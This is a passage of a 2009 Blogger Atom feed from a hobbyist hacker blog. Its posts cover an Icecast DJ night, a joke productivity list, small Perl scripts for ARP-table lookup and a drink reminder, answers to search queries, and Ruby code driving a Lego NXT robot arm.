type='text'>Party on the intarwebs tonight</title><content type='html'>I just got a new icecast server up and I am going to be djing tonight. While I dj you can make requests on irc.malvager.com #malvager, depending on what mood I am in I might play them. I'll probably give away one of my shirts tonight. Also I won't want to dj all night so some of you guys can man up and dj later on.&lt;br /&gt;&lt;br /&gt;I need your help, however I am testing the audio right now, and some clients such as winamp aren't connecting, so try connecting now at http://wereboobs.com:8000 and let me know what works and what doesn't and I'll try to troubleshoot as well, because I can't help anyone after I start djing. IF YOU WANT TO DJ, I NEED YOU TO TEST NOW, BECAUSE WINAMP IS THE BEST TOOL FOR WINDOWS DJ'S ON ICECAST. A link to dj tools will be at the bottom.&lt;br /&gt;&lt;br /&gt;VLC has been verified to work on windows and linux. And totem is working in linux.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;http://wereboobs.com:8000&lt;br /&gt;&lt;br /&gt;It will be at &lt;br /&gt;&lt;br /&gt;10:00:00 p.m. Saturday June 27, 2009 in US/Central converts to&lt;br /&gt;03:00:00 a.m. Sunday June 28, 2009 in GMT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Time zone converter:&lt;br /&gt;http://www.timezoneconverter.com/cgi-bin/tzc.tzc&lt;br /&gt;&lt;br /&gt;DJ tools:&lt;br /&gt;http://www.icecast.org/3rdparty.php&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3319103085801962714?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3319103085801962714/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3319103085801962714' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3319103085801962714'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3319103085801962714'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/party-on-intarwebs-tonight.html' title='Party on the intarwebs tonight'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6238980495022278457</id><published>2009-06-19T00:30:00.001-07:00</published><updated>2009-06-19T00:32:19.794-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='get things done'/><category scheme='http://www.blogger.com/atom/ns#' term='do your job'/><category scheme='http://www.blogger.com/atom/ns#' term='productivity'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Top 5 ways to stay productive at work</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2017/2453815896_e98692e9a1_b.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 1024px; height: 768px;" src="http://farm3.static.flickr.com/2017/2453815896_e98692e9a1_b.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Occasionally when I am at work I read things from productivity experts, to see how I can be an effecient worker. Most the time after reading one of these I think, Wow I wasted a lot of work time....but everynow and then I think how could these articles be improved. So I finally decided to write my own list:&lt;br /&gt;&lt;br /&gt;1.Do your job.&lt;br /&gt;&lt;br /&gt;2. Quit looking at Pron(or other agents of distraction).&lt;br /&gt;&lt;br /&gt;3. Fucking do your job.&lt;br /&gt;&lt;br /&gt;4. Your job, maybe you should do it.&lt;br /&gt;&lt;br /&gt;5. DO YOUR FUCKING JOB.                                                                                                                                                                                                                                                                                                                                                     &lt;br /&gt;&lt;br /&gt;Now productivity experts have a place. But blogging on sites that distract people from doing there job, is not that place. Oh yeah, Social Networking "Experts", your next, and it won't be nearly as nice as this post.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6238980495022278457?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6238980495022278457/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6238980495022278457' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6238980495022278457'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6238980495022278457'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/top-5-ways-to-stay-productive-at-work.html' title='Top 5 ways to stay productive at work'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://farm3.static.flickr.com/2017/2453815896_e98692e9a1_t.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-367109274897362253</id><published>2009-06-13T18:47:00.000-07:00</published><updated>2009-06-15T11:25:29.850-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='arp table'/><category scheme='http://www.blogger.com/atom/ns#' term='net::arp'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='net'/><category scheme='http://www.blogger.com/atom/ns#' term='arp'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Net::ARP Checking a Mac address with perl</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2427/3623933846_a3cf3a1159_o.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 600px; height: 375px;" src="http://farm3.static.flickr.com/2427/3623933846_a3cf3a1159_o.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So net::arp Creates arp packets. The intention of this script was to check for the mac address of a remote machine, however after a little experimentation I realized the function was only checking the arp table. Which is not what this was intended for so....le sigh. However it might be handy for someone to check the arp table in perl, this would be convenient. It would also be nice if you did some sort of arp or ping scan before using it. BEWARE OF BOTH SCANS. Either are likely to set of an IDS or IPS, however a ping scan is always the more obnoxious of the two.&lt;br /&gt;&lt;br /&gt;Caveat: You need Net::ARP installed for this to work:&lt;br /&gt;sudo cpan&lt;br /&gt;install Net::ARP&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use Net::ARP;&lt;br /&gt;&lt;br /&gt;$targetOne = "192.168.1.200";&lt;br /&gt;$dev = "eth0";&lt;br /&gt;while(1){&lt;br /&gt;my $mac = Net::ARP::arp_lookup($dev, $targetOne);&lt;br /&gt;print "The Mac address is  $mac\n";&lt;br /&gt;sleep(5);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you liked this, you will probably also like these two:&lt;a href="http://bsdpunk.blogspot.com/2009/04/updated-arp-sniffer-to-also-get-dhcp.html"&gt;&lt;br /&gt;http://bsdpunk.blogspot.com/2009/04/updated-arp-sniffer-to-also-get-dhcp.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html"&gt;http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ps the command to check the arp table is arp -a&lt;br /&gt;&lt;br /&gt;Caveat: I was not able to get Net::ARP to install cleanly on my mac from CPAN, so I used Fedora. I don't really think this says anything about Net::ARP as 90 percent of CPAN packages tend to be a pain in my ass on my mac.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-367109274897362253?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/367109274897362253/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=367109274897362253' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/367109274897362253'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/367109274897362253'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/netarp-checking-mac-address-with-perl.html' title='Net::ARP Checking a Mac address with perl'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-2287610295343012322</id><published>2009-06-09T22:59:00.000-07:00</published><updated>2009-06-09T23:06:13.964-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modules'/><category scheme='http://www.blogger.com/atom/ns#' term='wake up and drink'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='applescript'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='apple'/><title type='text'>Not drinking fast enough, I can help....Or, Wake up and drink.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_POMszDp5NQM/Si9MFRlPNZI/AAAAAAAAADM/NZ0v29lGqGg/s1600-h/2862719142_a6ddfb6228.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_POMszDp5NQM/Si9MFRlPNZI/AAAAAAAAADM/NZ0v29lGqGg/s320/2862719142_a6ddfb6228.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5345574936214713746" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;So I have this problem....It's not drinking....quickly. Sometimes I get to involved in my work, and don't drink quickly enough. Many men have this problem. And I am here to solve it. So how would one reminde one's self to drink.....A script of course. So here is a script that does an apple beep every 5 minutes(sleep, 300 seconds):&lt;br /&gt;&lt;br /&gt;#!/put/your/perl/path/here&lt;br /&gt;use Mac::AppleScript qw(RunAppleScript);&lt;br /&gt;$booT = 1;&lt;br /&gt;while ($booT) {&lt;br /&gt; RunAppleScript(qq(beep\ndo shell script "/bin/sleep 1"))&lt;br /&gt;     or die "Didn't work!";&lt;br /&gt;    sleep(300);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;There is a problem with not recognizing the sound because if you are like me, you really tone out error sounds...cause you hate them. So the solution is to change your "beep" sound, to do that go to:&lt;br /&gt;System Prefrences &gt; Sound &gt; Sound Effects&lt;br /&gt;And change it to something you find annoying.....Hey windows does it...why not, you know.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;CAVEAT:&lt;br /&gt;You will need to install the perl module: Mac::AppleScript:&lt;br /&gt;sudo cpan&lt;br /&gt;install Mac::AppleScript&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PS you guys see that...&lt;br /&gt;boo-T&lt;br /&gt;Like booty&lt;br /&gt;heh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also this is not my picture it is a &lt;a href="http://creativecommons.org/"&gt;CC&lt;/a&gt; licensed photo from here:&lt;br /&gt;&lt;a href="http://www.flickr.com/photos/someoneelse/2862719142/in/photostream/"&gt;http://www.flickr.com/photos/someoneelse/2862719142/in/photostream/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-2287610295343012322?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/2287610295343012322/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=2287610295343012322' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2287610295343012322'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/2287610295343012322'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/not-drinking-fast-enough-i-can-helpor.html' title='Not drinking fast enough, I can help....Or, Wake up and drink.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_POMszDp5NQM/Si9MFRlPNZI/AAAAAAAAADM/NZ0v29lGqGg/s72-c/2862719142_a6ddfb6228.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6404593114395290702</id><published>2009-06-09T18:13:00.000-07:00</published><updated>2009-06-09T18:19:07.468-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='4chan culture'/><category scheme='http://www.blogger.com/atom/ns#' term='4 chan'/><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><category scheme='http://www.blogger.com/atom/ns#' term='search'/><category scheme='http://www.blogger.com/atom/ns#' term='rule 34'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='4chan'/><title type='text'>Search Terms, or what people google, to find me</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm3.static.flickr.com/2463/3612742374_973eb9f5d1_o.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 617px; height: 321px;" src="http://farm3.static.flickr.com/2463/3612742374_973eb9f5d1_o.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;People find my page a lot through google. Using analytics I can sometimes see if they found what they needed, by seeing what they searched for and what page they landed on. Sometimes there are questions, that aren't answered on my blog, that I can answer, in the next section of my post, I will answer as many of these as I can, however sometimes people google weird things, and end up at my site....I will deal with those in the last section of this post.&lt;br /&gt;&lt;br /&gt;1.  bandwidth of nxt mindstorms ultrasonic sensor &lt;br /&gt;I'm not for sure, cause it pretty much sucks, however typically on a numerical range of 0 to 1023, if there was nothing obstructing the view within an inch I would get something in between 900 - 1002, you will notice my ruby script specifies the value must be over 1002 to react. And I really couldn't get a reaction beyond an inch or two.&lt;br /&gt;&lt;br /&gt;2. communicate to mindstorm nxt through hyperterminal &lt;br /&gt;I am pretty sure this is possible though, you may want to use putty and just put it on raw and direct it towards your usb. I was able to use cat, and send some perl through bluetooth, but this was mostly do to help from here:&lt;br /&gt;&lt;a href="http://juju.org/articles/2006/08/01/mindstorms-nxt-bluetooth-on-osx"&gt;http://juju.org/articles/2006/08/01/mindstorms-nxt-bluetooth-on-osx&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;3. dustin hurt hacking contest computer security &lt;br /&gt;I assume this was someone looking to see if I ever got hurt during a hacking contest. To my knowledge I have never been physically injured in a hacking contest.&lt;br /&gt;&lt;br /&gt;4. eeepc camera freebsd &lt;br /&gt;I looked myself at one point into seeing if FreeBSD would support the webcam on a eeePC and most accounts said no, perhaps some reader can comment and prove this wrong ? :)&lt;br /&gt;&lt;br /&gt;5. how to get the arp packet &lt;br /&gt;Cain and able of course. :) Or you can look at my little perl scripty:&lt;br /&gt;http://bsdpunk.blogspot.com/2009/03/arp-sniffer-in-perl-killing-wireless.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;_________________________________&lt;br /&gt;&lt;br /&gt;1. watch people die &lt;br /&gt;&lt;br /&gt;I knew that was a bad name for that post.&lt;br /&gt;&lt;br /&gt;2. free +begginer cyber sex&lt;br /&gt;&lt;br /&gt;No, we don't really help you with that on this blog.&lt;br /&gt;&lt;br /&gt;3. hak5 "rule 34" &lt;br /&gt;&lt;br /&gt;This is just scary. I mean sure Darren is a decent looking fellow....but really....How hard up are you.&lt;br /&gt;&lt;br /&gt;4. internal diagram of a walrus &lt;br /&gt;&lt;br /&gt;err....ummm...I don't know&lt;br /&gt;&lt;br /&gt;5. openbsd rule 34 &lt;br /&gt;&lt;br /&gt;Try looking up the word blowfish on google image search&lt;br /&gt;&lt;br /&gt;6. ayn rand "rule 34"&lt;br /&gt;Ummm, why....why would you do this?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-6404593114395290702?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/6404593114395290702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=6404593114395290702' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6404593114395290702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/6404593114395290702'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/search-terms-or-what-people-google-to.html' title='Search Terms, or what people google, to find me'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-3481765746310550918</id><published>2009-06-08T13:32:00.000-07:00</published><updated>2009-06-08T13:44:31.345-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='modules'/><category scheme='http://www.blogger.com/atom/ns#' term='bork'/><category scheme='http://www.blogger.com/atom/ns#' term='cpan'/><category scheme='http://www.blogger.com/atom/ns#' term='pirate'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Suppage</title><content type='html'>&lt;img src="http://www.crimespot.net/Spotted/Images/SwedishChefSmall.jpg" /&gt;&lt;br /&gt;Regretful:&lt;br /&gt;I can afford to go more than one place a year and this year I am going to defcon, which makes me really sad that I am missing out on &lt;a href="http://nerdapalooza.blogspot.com/"&gt;nerdapalooza&lt;/a&gt;. Looks like a lot of good people are going to be there this year.&lt;br /&gt;&lt;br /&gt;If you like this, you should also check out, &lt;a href="http://hipsterplease.com"&gt;Z.'s page, hipsterplease&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Awesomage:&lt;br /&gt;I ffuoond thees avesumea perl mudoolea tuday, und yuoo shuoold all eenstall eet.  Bork Bork Bork! Herea vas zee pust I ffuoond eet een.  Bork Bork Bork! Und herea ees zee cpun &lt;a href="http://search.cpan.org/~mching/Lingua-Bork-0.03/Bork.pm"&gt;leenk&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;If you liked this, you might also like &lt;a href="http://search.cpan.org/dist/Acme-Lingua-Pirate-Perl/lib/Acme/Lingua/Pirate/Perl.pm"&gt;this&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Posts to look forward to:&lt;br /&gt;Hell if I know you guys, my projects are ,liek, ADHD inspired.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-3481765746310550918?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/3481765746310550918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=3481765746310550918' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3481765746310550918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/3481765746310550918'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/suppage.html' title='Suppage'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-4637761391131749879</id><published>2009-06-07T16:42:00.000-07:00</published><updated>2009-06-07T17:04:32.781-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ruby'/><category scheme='http://www.blogger.com/atom/ns#' term='arm'/><category scheme='http://www.blogger.com/atom/ns#' term='lego'/><category scheme='http://www.blogger.com/atom/ns#' term='giant robot'/><category scheme='http://www.blogger.com/atom/ns#' term='motion detecting'/><category scheme='http://www.blogger.com/atom/ns#' term='mindstorm'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='nxt'/><title type='text'>Motion Detecting Lego NXT mindstorm arm written in ruby</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/M1jKXZd0uEk&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/M1jKXZd0uEk&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The building instructions for this arm can be found here:&lt;br /&gt;&lt;a href="http://www.nxtprograms.com/robot_arm/steps.html"&gt;http://www.nxtprograms.com/robot_arm/steps.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I added the Ultra sensor to it, and you will notice some of the funtions in the code aren't used at all, because I plan on doing more with this.&lt;br /&gt;&lt;br /&gt;If you liked this you might also like&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/search/label/nxt"&gt;My NXT tagged posts.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/search/label/arduino"&gt;My Arduino tagged posts.&lt;/a&gt;&lt;br /&gt;or&lt;br /&gt;&lt;a href="http://bsdpunk.blogspot.com/2009/06/tutorial-how-to-make-contact-mic.html"&gt;How to make a contact MIC.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;require "rubygems"&lt;br /&gt;require "serialport"&lt;br /&gt;require "nxt_comm"&lt;br /&gt;&lt;br /&gt;$DEBUG = false&lt;br /&gt;&lt;br /&gt;@nxt = NXTComm.new('/dev/tty.NXT-DevB-1')&lt;br /&gt;def sleeper&lt;br /&gt; sleep(0.5)&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;@nxt = NXTComm.new("/dev/tty.NXT-DevB-1")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;def do_motor_a&lt;br /&gt;  a = Commands::Motor.new(@nxt)&lt;br /&gt;  a.port = :a&lt;br /&gt;  a.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  a.control_power = true&lt;br /&gt;  a.start&lt;br /&gt;  puts "Run State: #{a.run_state}"&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def do_motor_b&lt;br /&gt;  b = Commands::Motor.new(@nxt)&lt;br /&gt;  b.port = :b&lt;br /&gt;  b.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  b.control_power = true&lt;br /&gt;  b.start&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def do_motor_c&lt;br /&gt;  c = Commands::Motor.new(@nxt)&lt;br /&gt;  c.port = :c&lt;br /&gt;  c.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  c.control_power = true&lt;br /&gt;  c.start&lt;br /&gt;  puts "Run State: #{c.run_state}"&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def do_motorb_a&lt;br /&gt;  a = Commands::Motor.new(@nxt)&lt;br /&gt;  a.port = :a&lt;br /&gt;  a.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  a.control_power = true&lt;br /&gt;  a.direction = :backward&lt;br /&gt;  a.start&lt;br /&gt;  puts "Run State: #{a.run_state}"&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def do_motorb_b&lt;br /&gt;  b = Commands::Motor.new(@nxt)&lt;br /&gt;  b.port = :b&lt;br /&gt;  b.direction = :backward&lt;br /&gt;  b.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  b.control_power = true&lt;br /&gt;  b.start&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def do_motorb_c&lt;br /&gt;  c = Commands::Motor.new(@nxt)&lt;br /&gt;  c.port = :c&lt;br /&gt;  c.direction = :backward&lt;br /&gt;  c.duration = {:rotations =&gt; 0.25}&lt;br /&gt;  c.control_power = true&lt;br /&gt;  c.start&lt;br /&gt;  puts "Run State: #{c.run_state}"&lt;br /&gt;end&lt;br /&gt;&lt;br /&gt;def inputs_2&lt;br /&gt;   s = @nxt.get_input_values(NXTComm::SENSOR_2)&lt;br /&gt;   puts s[:value_raw]&lt;br /&gt;   if s[:value_raw] &gt; 1005&lt;br /&gt;    @nxt.play_tone(659,500)&lt;br /&gt;    do_motorb_a&lt;br /&gt;    do_motorb_b&lt;br /&gt;    sleep 1&lt;br /&gt;    do_motor_a&lt;br /&gt;    do_motor_b&lt;br /&gt;    sleep 1&lt;br /&gt;    end&lt;br /&gt; end&lt;br /&gt; &lt;br /&gt; def inputs_1&lt;br /&gt;   sm = @nxt.get_input_values(NXTComm::SENSOR_1)&lt;br /&gt;   puts sm.inspect&lt;br /&gt;   sleep 1&lt;br /&gt; end&lt;br /&gt; &lt;br /&gt;loop {&lt;br /&gt; inputs_2&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4637761391131749879?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4637761391131749879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4637761391131749879' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4637761391131749879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4637761391131749879'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/06/motion-detecting-lego-nxt-mindstorm-arm.html' title='Motion Detecting Lego NXT mindstorm arm written in ruby'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6550852056785227325</id><published>2009-06-07T11:41:00.000-07:00</published><updated>2009-06-07T12:32:24.790-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sorry'/><category scheme='http://www.blogger.com/atom/ns#' term='awful'/><category scheme='http://www.blogger.com/atom/ns#' term='nmap'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='mp3'/><category scheme='http://www.blogger.com/atom/ns#' term='podcast'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><title type='text'>Awful Linux Podcast</title><content type='html'>&lt;object width="560" height="340"&gt;&lt;param name="movie" value="http://www.youtube.com/v/pDE_m1EuLEs&amp;hl=en&amp;fs=1&amp;"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;param name="allowscriptaccess" value="always"&gt;&lt;/param&gt;&lt;embed 